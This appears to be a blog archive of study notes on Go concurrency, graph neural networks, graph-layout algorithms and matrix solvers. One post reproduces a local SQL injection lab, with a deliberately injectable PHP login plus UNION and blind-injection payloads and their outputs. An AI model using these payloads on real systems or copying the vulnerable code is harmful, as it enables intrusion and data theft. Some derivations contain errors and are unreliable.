Rob Pike 的讲座

ppt：https://talks.golang.org/2012/concurrency.slide#2

vedio：https://www.youtube.com/watch?v=f6kdp27TYZs

就是一个非常基础但是很清楚的关于go concurrency的入门讲座。

讲在前面

concurrency and parallelism

不想详细说但是。。。从Rob的讲座来简单说就是

• concurrency：一个processor
• parallelism：多个处理器同时处理

（并发和并行的区别系列

CSP的开始

一切的开端：1978年hoare的论文，讲了communicating sequential process的原理。

Go and cocurrency

Go和其他实现csp语言最大的区别：其他语言比如Erlang是直接和process交互，而go语言是和channel进行交流。

Goroutine

• 简单来说：一个由go指令生成的单独运行函数
• 每个goroutine拥有自己的stack，同时这个stack的大小会随着执行的需要变大或缩小。这样的话和每个线程都要拥有自己独立的栈空间，并且为了保证运行的存储问题栈空间需要设计的足够大不一样，goroutine的初始化是很便宜的
• 从goroutine的调度上来看，一个线程可能执行着成百上千个协程（可以后面整理一下goroutine的调度问题）
• 当然从理解上来看可以把goroutine理解为一个非常非常轻便的线程

一个例子：

1
2
3
4
5
6

func boring(msg string) {
    for i := 0; ; i++ {
        fmt.Println(msg, i)
        time.Sleep(time.Duration(rand.Intn(1e3)) * time.Millisecond)
    }
}

1
2
3
4
5
6
7
8
9
10
11

package main

import (
    "fmt"
    "math/rand"
    "time"
)

func main() {
    go boring("boring!")
}

运行结果：Program exited.

Channel

channel是一个goroutine的基础，具体介绍和goroutine简介里面基本上一模一样。

Select

A control structure unique to concurrency

看起来很像一个switch选项，但是是完全针对concurrency设置的，它和switch的区别：

• 每个选项都是一个communication(send or receive)
• 在开始时会衡量所有的communication
• 整个流程会一直卡住直到某个communication可以进行下去
• 如果同时有多个communication都可以进行，随机选取一个进行
• 如果所有communication都无法进行并且有一个default选项，不卡住直接走default

1
2
3
4
5
6
7
8
9
10

select {
case v1 := <-c1:
    fmt.Printf("received %v from c1\n", v1)
case v2 := <-c2:
    fmt.Printf("received %v from c2\n", v1)
case c3 <- 23:
    fmt.Printf("sent %v to c3\n", 23)
default:
    fmt.Printf("no one was ready to communicate\n")
}

Daisy-chain

菊花链并不是一个像select一样的函数，而是一个可以用go语言和协程来简单实现的功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

func f(left, right chan int) {
    left <- 1 + <-right
}

func main() {
    const n = 10000
    leftmost := make(chan int)
    right := leftmost
    left := leftmost
    for i := 0; i < n; i++ {
        right = make(chan int)
        go f(left, right)
        left = right
    }
    go func(c chan int) { c <- 1 }(right)
    fmt.Println(<-leftmost)
}

这段代码实现的就是上图所示的逻辑，看起来非常难以理解，实际上make一个channel之后返回的是指针，所以就是一开始left和right指向的都是最左端也就是终端的channel，之后新建了一个channel，并且让左边的channel去获取新建channel的值，然后再把left的指针指向它让它变成下一个左边。最后向最右边的channel输入一个值，触发了这条传话链。

从实际的运行情况来看，即使我们创建了上万个协程来实现这个功能，但是运行时间非常迅速，协程轻量的特征让他在创建和运行的时候非常迅速。

Attention

简单来说，go和concurrency是一种用于software construction的非常好的语言，但是很多时候不要杀鸡用牛刀，一个引用计数器就可以解决的问题就不要用channel了😂

go里面也提供了sync/atomic包来提供一些地址访问同步/锁等多线程会用到的操作，合理考虑使用channel。

Links

一些学习网站

Go Home Page:

golang.org

Go Tour (learn Go in your browser)

tour.golang.org

Package documentation:

golang.org/pkg

Articles galore:

golang.org/doc

Concurrency is not parallelism:

golang.org/s/concurrency-is-not-parallelism

融合布局

方法一：立体布局

A Multi-layer Network Topology Visualization Layout Based on Louvain Community Detection

MLMD: Multi-Layered Visualization for Multi-Dimensional Data

基于聚类和边绑定的布局优化。

Visualization using Multi-Layered U-Matrix in Growing Tree-Structured Self-Organizing Feature Map

用于进行树的多层布局，但是用正六边形来固定位置的思想可以考虑

Word-Clouds in the Sky: Multi-layer Spatio-temporal Event Visualization from a Geo-parsed Microblog Stream

方法二：平面布局

Fast content-aware resizing of multi-layer information visualization via adaptive triangulation

MultiNets: Web-Based Multilayer Network Visualization

双层放在同一张图里，用颜色区分。

Py3plex: A Library for Scalable Multilayer Network Analysis and Visualization

The State of the Art in Multilayer Network Visualization

TOOLS

muxVis

Design

3D

把每层IP相同的点合并进行力导向布局

问题：多个节点可能对应同一个IP

• 解决方法一：
  
• 解决方法二：
  对应同一IP的节点合并
  只提取多层有连接的点和他们的边进行初始布局 -> 作为medium layer
  剩下的节点在分散进自己的层的时候再布局。利用medium layer 的 Voronoi diagram 将每层点的位置相对固定并且把合并的点分离
• 解决方法三：
  不合并，对对应同一IP的节点添加一根虚拟边 -> 拥有引力 ->还是作为super graph
  利用super graph 的 Voronoi diagram 将每层点的位置相对固定并且把分开的点合并

主要更新GNN针对图布局和布局evaluation上的问题和思路

图布局的信息：1. 节点的结构信息 2. 节点的位置信息。

GNN -> 训练得到节点的结构信息

问题：1. 如何获取节点的位置信息 2. 如何将这两个信息结合起来

拟采用的方法：

节点的位置信息：

1. 绝对位置信息->GNN->训练得到布局方法（没有可解释性）
2. 采用pointCNN思想，首先利用周围节点获取相对位置，然后加入 $X-transform$ 来让节点位置具有旋转不变性，最后将节点位置feature用CNN方法升到高维。（邻域or相邻节点）
3. 利用GNN自己训练（label和loss function难定义)。
4. 归一化？

结合两个信息：

1. 把GNN提取feature和后面的decision（即$f$ 和 $g$）步骤分开。
2. 将GNN训练得到的结构信息和pointCNN训练得到的位置信息合并(比如最粗暴的concat)

Dynamic Graph

Reference

[1] Li, Y., Bu, R., Sun, M., Wu, W., Di, X., & Chen, B. (2018). PointCNN: Convolution On $\mathcal{X}$-Transformed Points.

Introduction

Graph Neural Network， 出现原因：CNN：基于欧式空间，如果按照CNN对图进行卷积，每个节点的邻接节点不一样->无法实现权重共享，但同时我们想从图中提取特征信息。
应用数据：社交网络，化学，图像，文本等等。

GNN 介绍

整个GNN的过程可以分成两个部分：特征计算和结果计算，即图中的 $f$ 和 $g$，$f$ 的思路和embedding很相似，就是对每一个节点生成一个描述它的feature，不同的是除了节点，边和整个图的feature也可以生成，$g$ 就是根据计算出的feature输出对应的结果，比如类别等。
写成公式就是：
$$
\begin{aligned}
x_n&=f_w(l_n,l_{co(n)},x_{ne(n)},l_{ne(n)})\o_n&=g_w(x_n,l_n)
\end{aligned}
$$

$g$ 和CNN的FC层很相似没什么特殊的，GNN的重点也放在了feature $x_n$的计算上。

根据09年[1]提出的初始GNN的思路，$x_n$的计算方法其实是进行不断的更新直到收敛，所以把上面右图就是左图按照时间计算展开。

其实上面的初始GNN计算方法只确定了如何对每个节点计算feature，后来在它的基础上出现了各种边的计算方式，最终[2]总结并且把整个GNN模型整合在了一起。

GN Block

每一个GN Block中，$e_n, v_n, u$，$e_n$ 和 $v_n$ 分别代表了每条边和节点的对应属性，$u$ 是整张图的 global attribute，根据最后task的需要选择需要的属性进行输出。

整个前馈过程其实也只有两个部分：$\phi$作为更新函数(update)，$\rho$ 作为聚合函数(aggregate)，前者更新各种feature的值，后者将所需要的值聚合在一起用于后面进一步的更新。
下面这张图就是一个完整的GN Block的更新过程。

多个GN Block的问题，这两个都属于拥有多个GN Blocks时候的不同组合方法，像自编码器和RNN循环时通过的是同一个GN Block，只是GRNN会多加隐层，也可以将不同结构的GN Blocks组合在一起使用。

GNN 分类

其实GNN的诞生过程非常的混乱，不同的人提出的东西各式各样，虽然论文[2]给了整个GNN一个通用的模型，但是里面的细节变化导致GNN有了各种各样的类别，清华的survey[3]里给了我们一个详细的分类如下图：

在这里我做了一个更加简单一点的分类方式，把整个GNN分成两类，第一类是按照结构来说：

第一张图就是一个完整的GN Block的更新过程，根据这个更新过程又产生许多变化：比如最典型的MPNN(Message Passing Neural Network)[4]，它是基于RNN提出的思想，把Edge的更新看作一个隐层，训练之后参与节点的更新。

第二类是按照更新和聚合方法来说：

这张图还是清华的survey整理的，就用GCN拿出来当个例子，一般来说更新函数都默认是一个神经网络，但是就像前面提出的，我们希望能实现权值共享，所以GCN定义了全新的卷积方式解决邻接节点不同时的权值共享问题，于此同时和CNN一样，不同的卷积核可以提取不同的特征，利用不同卷积核的GCN更新也可以最终计算出一个高维度包含不同特征的feature。

工具

pytorch：geometric

tensor flow: graph_nets

相关论文

清华的综述[3]还整理了GNN的论文列表。

论文列表

问题

1. 浅层结构
   GNN的收敛 -> $f$ 是一个压缩映射 -> 层数高梯度消失
2. 算力

GNN Visualization

论文：Graph-structured representations for visual question answering[7]

GNN for Dynamic Graph

论文一：EvolveGCN[5]
前提：所有的图都是随着时间动态连续变化的。
没有考虑位置关系，利用RNN的思想加入隐层记录前时刻的特征值。
Application: Link prediction & Edge classification

论文二：Predicting Citywide Crowd Flows in Irregular Regions Using Multi-View Graph Convolutional Networks[6]
STG: spatio-temporal graph

1. Convolutional networks over graphs
2. Spatial graph convolutional network
   $$
   w_{ij}=\begin{cases}
   exp(-\frac{dis(ij)^2}{2\theta}) &\text{if dis(ij)$\lt$ k}\
   0 &\text{otherwise}
   \end{cases}
   $$

Node Importance and Influence

论文：DeepInf: Social Influence Prediction with Deep Learning[8]

Reference

[1] Monfardini, G., Ah Chung Tsoi, Hagenbuchner, M., Scarselli, F., & Gori, M. (2008). The Graph Neural Network Model. IEEE Transactions on Neural Networks, 20(1), 61–80.

[2] Battaglia, P. W., Hamrick, J. B., Bapst, V., Sanchez-Gonzalez, A., Zambaldi, V., Malinowski, M., … Pascanu, R. (2018). Relational inductive biases, deep learning, and graph networks, 1–40.

[3] Zhou, J., Cui, G., Zhang, Z., Yang, C., Liu, Z., & Sun, M. (2018). Graph Neural Networks: A Review of Methods and Applications, 1–20.

[4] Gilmer, J., Schoenholz, S. S., Riley, P. F., Vinyals, O., & Dahl, G. E. (2017). Neural Message Passing for Quantum Chemistry.

[5] A. Pareja et al., “EvolveGCN : Evolving Graph Convolutional Networks for Dynamic Graphs,” 2018.

[6] J. Sun, J. Zhang, Q. Li, X. Yi, and Y. Zheng, “Predicting Citywide Crowd Flows in Irregular Regions Using Multi-View Graph Convolutional Networks,” vol. 14, no. 8, pp. 1–11, 2019.

[7] D. Teney, L. Liu, and A. Van Den Hengel, “Graph-structured representations for visual question answering,” in Proceedings - 30th IEEE Conference on Computer Vision and Pattern Recognition, CVPR 2017, 2017, vol. 2017–Janua, pp. 3233–3241.

[8] J. Qiu, J. Tang, H. Ma, Y. Dong, K. Wang, and J. Tang, “DeepInf: Social Influence Prediction with Deep Learning,” 2018.

Introduction

Both two approaches are used to solve the linear equation:
$$
Ax=b
$$

Cholesky factorization

Preconditions:

• A hermitian matrix: $A^*=A$
• A positive definitive: for any $X$, $(X^*)AX\gt 0$

Basic idea

Decompose $A$ into $A=LL^{*}$ with $L$ an lower triangular matrix, so the solution is changed to:
$$
\begin{cases}
L^*x=Y\
LY=b
\end{cases}
$$

LU Decomposition

First of all, there is no constraints to A, and the LU decomposition solution is proposed:

• L: lower triangular matrix whose diagonal is ones.
• U: upper triangular matrix

$$
L=\left [\begin{matrix}
1 & 0 & \cdots & 0\
l_{21} & 1 & \cdots & 0\
\vdots & \vdots & \ddots &\vdots\
l_{n1} & l_{n2} & \cdots & 1
\end{matrix}\right ]\
$$
$$
U=\left [\begin{matrix}
u_{11} & u_{12} & \cdots & u_{1n}\
0 & u_{22} & \cdots & u_{2n}\
\vdots & \vdots & \ddots &\vdots\
0 & 0 & \cdots & u_{nn}
\end{matrix}\right ]
$$

$$
A=LU
$$
So
$$
a_{ij}=\sum_k^{\min{\left(i,j\right)}}l_{il}u_{kj}
$$
Suppose that $i\lt j$,
$$
\begin{aligned}
a_{ij}&=\sum_k^{i-1}l_{ik}u_{kj}+u_{ij}\
u_{ij}&=a_{ij}-\sum_k^{i-1}l_{ik}u_{kj}\
a_{ji}&=\sum_k^{i-1}l_{jk}u_{ki}+l_{ji}u_{ii}\
l_{ji}u_{ii}&=a_{ji}-\sum_k^{i-1}l_{jk}u_{ki}
\end{aligned}
$$
The functions above is called Doolittle Decomposition, and the value of $L$ and $U$ can be calculated.

And the linear equation: $Ax=b$, can be changed into:
$$
\begin{cases}
Ux=Y\
LY=b
\end{cases}
$$

Gaussian Elimination(pivot de gausse)

Here, Gaussian Elimination is an effective way to generate $L$ and $U$.

As we have a matrix $A$, we want to change it into an upper triangular matrix, firstly we eliminate the first column:

$a_{i1}\leftarrow a_{i1}-a_{11}\times \frac{a_{i1}}{a_{11}}=0$

This equals to:
$$
L=\left [\begin{matrix}
1 & 0 & \cdots & 0\
-\frac{a_{21}}{a_{11}} & 1\
\vdots & & \ddots\
-\frac{a_{n1}}{a_{11}} & & & 1
\end{matrix}\right ]
$$
$$
A^{(1)}=LA^{(0)}
$$
Hence we define:
$$
L_i=\left [\begin{matrix}
1 & 0 & \cdots & 0\
& 1\
&l_{i+1,i}\
&\vdots & \ddots\
&l_{n,i} & & 1
\end{matrix}\right ]
$$
With
$$
l_{i,j}=-\frac{a_{i,j}^{(j-1)}}{a_{j,j}^{(j-1)}}
$$
After $N-1$ steps,
$$
A^{(N-1)}=L_{N-1}…L_1A^{(0)}
$$
$A^{(N-1)}$ is an upper diagonal matrix, what’s more:
$$
L=L_{N-1}…L_1=\left [\begin{matrix}
1 & 0 & \cdots & 0\
l_{2,1}& 1\
&l_{i+1,i}\
\vdots&\vdots & \ddots\
l_{n,1}&l_{n,i} & \cdots & 1
\end{matrix}\right ]
$$

LDLT Decomposition

In this case, $A$ is an symetric matrix: $A^T=A$

We introduce a matrix $D$: $D=Diag(U)$, so
$$
U=D\tilde{U}
$$
$$
\tilde{U}=
\left [\begin{matrix}
1 & \frac{u_{12}}{u_{11}} & \cdots & \frac{u_{1n}}{u_{11}}\
0 & 1 & \cdots & \frac{u_{2n}}{u_{22}}\
\vdots & \vdots & \ddots &\vdots\
0 & 0 & \cdots & 1
\end{matrix}\right ]
$$
So $A=LD\tilde{U}$, as $A^T=A$
$$
\begin{aligned}
LD\tilde{U}&=(LD\tilde{U})^T\
LD\tilde{U}&=\tilde{U}DL^T
\end{aligned}
$$

So one of the solutions is: $\tilde{U}^T=L$

As shown in Doolittle Decomposition,
$$l_{ji}u_{ii}=a_{ji}-\sum_k^{i-1}l_{jk}u_{ki}$$
So if $u_{ii}\neq 0$, $L$ and $U$ have only one solution: $\tilde{U}^T=L$.
$$
A=LDL^T
$$

Proposition:
If the Order Principal Minor Determinant of A is zero => LU decomposition has only one solution

Demonstration

In the previous introduction of gaussian elimination, an essential condition to ensure the existence and 1-existence is that each $a_{ii}\neq 0$.

If one determinant of one minor matrix is zero => at least two columns are linearly dependent. After doing gaussian elimination, one of the two columns $i$ is totally zero, so $a_{ii}=0$

Cholesky

In Real Number Field

In real number field, the hermitian matrix is equal to symetric matrix.

Demonstration of D is positive:

$L$’s diagonal is ones and $L$ is a triangle matrix => $L$ is reversable

$A$ is positive definitive => $L^{-1}A{L^{-1}}^T\gt 0$ => $D>0$

Hence we can decompose D into: $\tilde{D}$ with $\tilde{d_{i,i}}=\sqrt{d_{ii}}$
$$
D=\tilde{D}\tilde{D}=\tilde{D}\tilde{D}^T
$$
Hence
$$
A=L\tilde{D}\tilde{D}^TL=(L\tilde{D})(L\tilde{D})^T
$$

Construction

//TODO

Conjugate Gradient

Precondition:

• $A$ symetric positive definitive

Basic idea

Given a set of independent vectors $r_0, r_1, …, r_{n-1}$, so we want to construct another vectors $p_0, p_1, …, p_{n-1}$, which fits:
$$\langle p_i,p_j\rangle=0$$
So x can be represented as: $x=\sum_{i=0}^{n-1}\alpha_ip_i$

Process

1. Define inner product $\langle.,.\rangle$ as:
   $$\langle x,y\rangle=x^TAy$$
2. Translate $\alpha_i$:
   $$
   \alpha_i=\frac{\langle x,p_i\rangle}{\langle p_i,p_i\rangle}
   =\frac{x^TAp_i}{pi^TAp_i}
   =\frac{b^Tp_i}{p_i^TAp_i}
   $$
3. Define $r_i$:
   $$r_i=b-Ax_i,\;x_i=\sum_{k\lt i}\alpha_kp_k$$
4. Find conjugate vectors $p_0,…,p_{n-1}$:
   given $r_i$, let
   $$p_i=r_i-\sum_{k\lt i}\beta_kp_k$$
   and $\beta_k=\frac{\langle r_i,p_k\rangle}{\langle p_k,p_k\rangle}$

Simplification

Simplify $r_i$

$$
\begin{aligned}
r_{i+1}&=b-Ax_{i+1}\
&=b-A(x_i+\alpha_ip_i)\
&=r_i-A\alpha_ip_i
\end{aligned}
$$

Simplify $\beta_k$

$$
\beta_k=\frac{\langle r_i,p_k\rangle}{\langle p_k,p_k\rangle}
=\frac{r_i^TAp_k}{p_k^TAp_k}
\;\;\;\;\text{$k\lt i$}
$$
$$
p_k^Tr_i=p_k^T(b-Ax_i)=0\;\;\;\;\forall k\lt i
$$
$$
\begin{aligned}
p_k^TAr_i&=\frac{1}{\alpha_k}(r_k-r_{k+1})^Tr_i\
&=
\begin{cases}
0&\text{$k\lt i-1$}\
\frac{1}{-\alpha_{i-1}}r_i^Tr_i&\text{$k=i-1$}
\end{cases}
\end{aligned}
$$
We can use the same approach to calculate $p_k^TAp_k$

Simplify $\alpha_i$

$$
\alpha_i
=\frac{b^Tp_i}{p_i^TAp_i}=\frac{(r_i+Ax_i)^Tp_i}{p_i^TAp_i}=\frac{r_i^Tp_i}{p_i^TAp_i}=\frac{r_i^Tr_i}{p_i^TAp_i}
$$

Algorithm

Conjugate Gradient

Input: Given right matrix $b$, positive symetric matrix A and initial iterative value $x_0\in R^n$(usually considered as $0^n$)

Output: solution $x$

States
$r_0=b-Ax_0$
$p_0=r_0$

repeat
    $\alpha_k:=\frac{r_k^Tr_k}{p_k^TAP_k}$
    $x_{k+1}:=x_k+\alpha_kp_k$
    $r_{k+1}:=r_k-\alpha_kAp_k$
     if $r_{k+1}\lt \epsilon$  then
         return $x_{k+1}$
     end
    $\beta_k:=\frac{r_{k+1}^Tr_{k+1}}{r_k^Tr_k}$
    $p_{k+1}:=r_{k+1}+\beta_kp_k$
until convergence
return $x_{k+1}$

Demonstration (Schmidt orthogonalization)

Schmidt orthogonalization is a method to achieve a set of orthogonalized vectors from a set of linearly independent vectors.

Here, as mentioned before:
$$p_i=r_i-\sum_{k\lt i}\alpha_kp_k$$
we use Mathematical Induction to demonstrate it:

1. for $p_0,p_1$ $\langle p_0,p_1\rangle=0$
2. in case $p_j,\forall i\lt j$:
   $$
   \begin{aligned}
   \langle p_i,p_j\rangle&=\langle p_i,r_j-\sum_{k\lt j}\alpha_kp_k\rangle\
   &=\langle p_i,r_j\rangle-\langle p_i,\sum_{k\lt j}\alpha_kp_k\rangle\
   &=\langle p_i,r_j\rangle-\langle p_i,\alpha_ip_i\rangle\
   &=\langle p_i,r_j\rangle-\frac{\langle p_i,r_j\rangle}{\langle p_i,p_i\rangle}\langle p_i,p_i\rangle\
   &=0
   \end{aligned}
   $$

Introduction

This is where the stress energy began. In this paper, the stress spring energy is introduced and the basic idea of graph layout is to minimize it. This paper also introduce an approach to calculate the local minimization.

Spring Model

Spring energy:
$$
E=\sum_{i=1}^{n-1}\sum_{j=i+1}^n\frac{1}{2}k_{ij}(\Vert p_i-p_j\Vert -l_{ij})^2
$$
With $l_{ij}$ the desired length
$$
l_{ij}=L\times d_{ij}
$$
$d_{ij}$ is the shortest path length between node i and j.

And L can be defined as:
$$
L=L_0/\max_{i\lt j} d_{ij}
$$

$k_{ij}$ is the strength between node $i$ and $j$:
$$
k_{ij}=\frac{K}{d_{ij}^2}
$$
with $K$ a constant.

Local Minimization

The necessary condition of local minimum is:
$$
\Vert \frac{\partial E}{\partial p_m}\Vert =0\;\;\;\;for\;1\leq m\leq n
$$

In the following analysis we consider the case of 2D.

So the local minimum problem is changed to:
$$
\frac{\partial E}{\partial x_m}=\frac{\partial E}{\partial y_m}=0
$$

As the problem is not linear, what’s more, $x_i$ are not independent to each other, so another solution implemented from Newton-Raphson method is adopted.

Newton-Raphson

Newton-Raphson method is an iterative way to find the solution of function:
$$
f(x)=0
$$

the method contains the following step:

1. use $x_0$ as the initial point
2. find the intersection of axe x and tangent of $f(x_0)$: $x_1$
3. repeat step 2 at new intersections till convergence.

Solution

For node $m$:
$$
\Delta_m=\sqrt{\left(\frac{\partial E}{\partial x_m}\right)^2+\left(\frac{\partial E}{\partial y_m}\right)^2}
$$
Firstly we choose the one with maximum $\Delta_m$.

From now on we focus on axe x:
$$
\begin{aligned}
\frac{\partial E}{\partial x_i}&=\frac{\partial \sum_{j\neq i}\frac{1}{2}k_{ij}((x_i-x_j)^2+l_{ij}^2-2l_{ij}\sqrt{(x_i-x_j)^2+(y_i-y_j)^2})}{\partial x_i}\
&=\sum_{i\neq j}k_{ij}(x_i-x_j-\frac{l_{ij}(x_i-x_j)}{\sqrt{(x_i-x_j)^2+(y_i-y_j)^2}})\
&=0
\end{aligned}
$$
At the t^th iteration, suppose $p_m=[x_m,y_m]$:

$$
\begin{aligned}
&\frac{\partial E/\partial x_m}{\partial p_m}(x_m(t),y_m(t))[\delta x_m,\delta y_m]\
=&[\frac{\partial^2 E}{\partial x_m^2}(x_m(t),y_m(t)),\frac{\partial^2 E}{\partial x_m\partial y_m}(x_m(t),y_m(t))]^T[\delta x_m,\delta y_m]\
=&-\frac{\partial E}{\partial x_m}(x_m(t),y_m(t))
\end{aligned}
$$
So
$$
\frac{\partial^2 E}{\partial x_m^2}(x_m(t),y_m(t))\delta x_m+\frac{\partial^2 E}{\partial x_m\partial y_m}(x_m(t),y_m(t))\delta y_m
=-\frac{\partial E}{\partial x_m}(x_m(t),y_m(t))
$$
The same as axe y, so we have two equations with two variables, and we could calculate $\delta x_m$ and $\delta y_m$, hence $[x_m(t+1),y_m(t+1)]$ is known.

After all iterations, the position of $x_m$ is optimized, so the next node m with $\max{\Delta_m}$ should be selected until
$$\max{\Delta_m}\lt\epsilon$$

Reference

[1] Kamada T. AN ALGORITHM FOR DRAWING GENERAL UNDIRECTED GRAPHS[J]. Information Processing Letters, 1989, 31(1):7-15.

介绍

继续中文。。。这就是用SQL注入的教程复现了一下，顺便memo一下自己作为一个初学者的理解。。。
教程地址：米斯特白帽培训讲义 漏洞篇 SQL 注入

mac配置MySQL

1. 下载安装，在“系统偏好设置”里面点击MySQL并运行。

2. 配置环境变量：

   1 2 3 4

   echo $HOME cd $HOME sudo vim .bash_profile export PATH=${PATH}:/usr/local/mysql/bin

3. 登录：mysql -u root -p

写PHP并连接数据库

乖巧看教程吧
启动PHP内置服务器：
php -S 127.0.0.1:80
再访问 http://localhost/sql.php （如果php文件名叫这个的话）

基于回显的手工注入

简单来说就是有会返回并显示出个人信息或其他从数据库中获取的数据的地方。
教程里的注入点是数值型注入，字符注入在教程末尾有。

memo1(union):

在已经确定搜索返回两个数据之后：

1 and 1=2 union select 1,2

我们的输出是2
来自一个sql初学者的解释

union是把所有select的结果取并集，而 1 and 1=2 是错误的所以不会输出任何的结果，这样sql返回值就变成了[1,2]
显示2就说明显示的数据是第二个
这样在之后的探索过程中，我们就可以把第一个值固定为1，对回显的数据进行操作。

memo2(limit):

在查询表名步骤：

1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit ?,1

limit a,b 表示按搜索结果从第a行开始，输出b个结果。

没有回显的手工注入

基本思路：

1. 根据information_schema数据库爆破名字长度（比如数据库名字，表格名字等等）
2. 已知名字长度去爆破每一位的字符: a ~ z 、 0 ~ 9 以及_的 ASCLL 十六进制
3. 找到名字再进入下一层

复现

改了一改教程的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

<form method="GET" action="">
    <p> log in: </p>
    Username: <input type="text" name="user" />
    Password: <input type="text" name="passwd" />
    <br/>
    <br/>
    <input type="submit" value="search" />
</form>
<?php
$host = '127.0.0.1';
$port = 3306;
$un = '';
$pw = '';
$db = '';

$Username = @$_GET['user'];
$Passwd = @$_GET['passwd'];

if($Username == '')
    return;
if($Passwd == '')
    return;
$conn = @mysql_connect($host . ':' . $port, $un, $pw);
if(!$conn)
    die('Error in connecting database' . mysql_error());
mysql_select_db($db, $conn);

$sql = "select id, user from sqlphp where user='$Username' and passwd='$Passwd'";
$res = mysql_query($sql, $conn);
if(!$res)
    die('error in searching'. mysql_error());
$num = mysql_num_rows($res);
if($num == 0)
{
    echo "Sorry, your username or password is wrong!";
}
else
{
    $row = mysql_fetch_row($res);
    # echo "<p>Hello, $Username</p>";
    echo "<p>Hello, {$row[1]}</p>";
    echo "<p>Welcome!</p>";
}

mysql_close($conn);

没被注释掉的是有回显的，被注释掉的是没有回显的。

有回显

username=1' or '1'='1
passwd=1' or '1'='1

=> Hello admin, welcome!

username=admin' order by 1#
passwd=1' or '1'='1

=> Hello admin, welcome!

username=admin' order by 3#
passwd=1'or'1'='1

=> error …

username=1' union select 1,2#
passwd=1'or'1'='1

=> Hello 2, welcome!

嘛后面就一样了

没有回显

个人测试下来并不需要用ascii码的16进制而是直接用字符就可以了，不知道是不是MySQL的版本问题

username=1' or (select length(database()))=11#
passwd=1' or '1'='1

=> Hello 1’ or (select length(database()))=11#, welcome!

username= 1' or (select substr(database(),1,1))='e'#
passwd=1' or '1'='1

=> Hello 1’ or (select substr(database(),1,1))=’e’#, welcome!

进阶

从这里开始换教程：新手指南：DVWA-1.9全级别教程之SQL Injection
跳过low（因为和前面差不多），直接从medium开始。

Medium

增加函数：

• mysql_real_escape_string: 转义 SQL 语句中使用的字符串中的特殊字符: （例：1’ -> 1\’）

这种方法对数字型注入基本无效。。。
对自己写的字符型注入：

Introduction

This is a analysis of paper “Laplacian-based Dynamic Graph Visualization”^[1], telling a method using Laplacian Constrained Distance Embedding defined in giving constraint to users’ input subgraphs^[2], to draw online dynamic graph. A method called stress majorization^[3] is also used in this approach.

The most important issue in dynamic graph drawing is to preserve the mental map^[4]. In this paper, the author choose to firstly fully generate the force directed graph for the new layout, then use LCDE to let important structures maintain their former structure.

Stress Majorization

Problem

Minimize stress function (here we suppose the case of 2D, so $x_i$ is a vector)
$$
E=\sum_{i,j\in N}w_{i,j}(\Vert x_i-x_j\Vert-d_{ij})^2
$$

Equation transformation

$$E=\sum_{i,j\in N}(w_{i,j}d_{ij}^2-2w_{i,j}d_{i,j}\Vert x_i-x_j\Vert+w_{i,j}\Vert x_i-x_j\Vert ^2)$$
$\sum_{i,j\in N}w_{i,j}d_{ij}^2$ is a constant, so we focus on the next two parts.

As already demonstrated in blog ACE,
$$\sum_{i,j\in N}w_{i,j}\Vert x_i-x_j\Vert^2=Tr(X^TL_wX)$$

As to the second term, Cauchy-Schwartz inequality:
$$
\Vert X\Vert\Vert Y\Vert\ge X^TY
$$
so
$$
\Vert x_i-x_j\Vert \Vert z_i-z_j\Vert \
\ge (x_i-x_j)^T(z_i-z_j)
$$
and
$$
\sum_{i,j\in N}\Vert x_i-x_j\Vert \ge \sum_{i,j\in N}inv(\Vert z_i-z_j\Vert )(x_i-x_j)^T(z_i-z_j)
$$
so the second term can be represented as:
$$
-w_{i,j}d_{i,j}\Vert x_i-x_j\Vert \le -Tr(X^TL_{w,z}Z)
$$
with
$$
L_{i,j}=\begin{cases}
-w_{i,j}d_{i,j}inv(\Vert z_i-z_j\Vert )&\text{$i\neq j$}\
-\sum_{i\neq j}L_{i,j}&\text{$i=j$}
\end{cases}
$$
Finally, we bound the stress function as:
$$
F^Z(X)=\sum_{i,j\in N}w_{i,j}d_{ij}^2-2Tr(X^TL_{w,z}Z)+Tr(X^TL_wX)\
E(X)\le F^Z(X)
$$
We find the minimum of F^Z(X) by differentiating by X:
$$
L_wX=L_{w,z}Z
$$
Remove the zero solution: $X_1=0$, the last n-1 rows of $L_w$ and $L_{w,z}$ form symetric positive definitive matrix.

Optimization process

We use here an iterative process, so that for each iteration, $E(t+1)\le E(t)$, we solve
$$
L_wX(t+1)=L_{w,z}X(t)
$$
in practice, we terminate the iteration when:
$$
\frac{E(X(t+1))-E(X(t))}{E(X(t))}<\epsilon
$$
We can solve the equation in each iteration by using Conjugate Gradient or Cholesky Factorization.

Intuitive interpretation

Instead of the two solutions mentioned before, there are many other ways to solve a non-linear equation, as KAMADA and KAWAI have shown, the Newton-Raphson iteration can help find local minimum, this paper shows another way.

In the t^th iteration, we have already known that $\hat{X}=X(t-1)$ and we want to know $X(t)$

Considering the $i^{th}$ node, the function to be solved can be transmitted into:
$$
\sum_{j\neq i}w_{i,j}x_i－\sum_{j\neq i}w_{i,j}x_j=-\sum_{j\neq i}w_{i,j}d_{i,j}inv(\Vert \hat{x_j}-\hat{x_i}\Vert)\hat{x_j}+\sum_{j\neq i}w_{i,j}d_{i,j}inv(\Vert \hat{x_j}-\hat{x_i}\Vert)\hat{x_i}
$$
So
$$
x_i=\frac{w_{i,j}\sum_{j\neq i}(x_j+d_{i,j}(\hat{x_i}-\hat{x_j})inv(\Vert \hat{x_i}-\hat{x_j}\Vert))}{\sum_{j\neq i}w_{i,j}}
$$
We can see that for each node $j$, the ideal position of $i$ is
$$x_j+d_{i,j}\frac{\hat{x_i}-\hat{x_j}}{\Vert \hat{x_i}-\hat{x_j}\Vert}$$
We can use this to do refinement of $x_i$’s position, following the idea of KAMADA:
$$
x_i(t)\leftarrow\frac{w_{i,j}\sum_{j\neq i}(x_j+d_{i,j}(\hat{x_i}-\hat{x_j})inv(\Vert \hat{x_i}-\hat{x_j}\Vert))}{\sum_{j\neq i}w_{i,j}}
$$

Laplacian Constrained Distance Embedding

In normal graph layout, our basic goal is to minimize stress: $E=\sum_{i,j\in N}w_{i,j}(\Vert x_i-x_j\Vert -d_{ij})^2$ where $d_{ij}$ is the optimal distance of node i and j.

In this case, we want to make constraint to some structures, for example, maintain the user defined subgraphs in paper[2], so we change the stress function:

$$
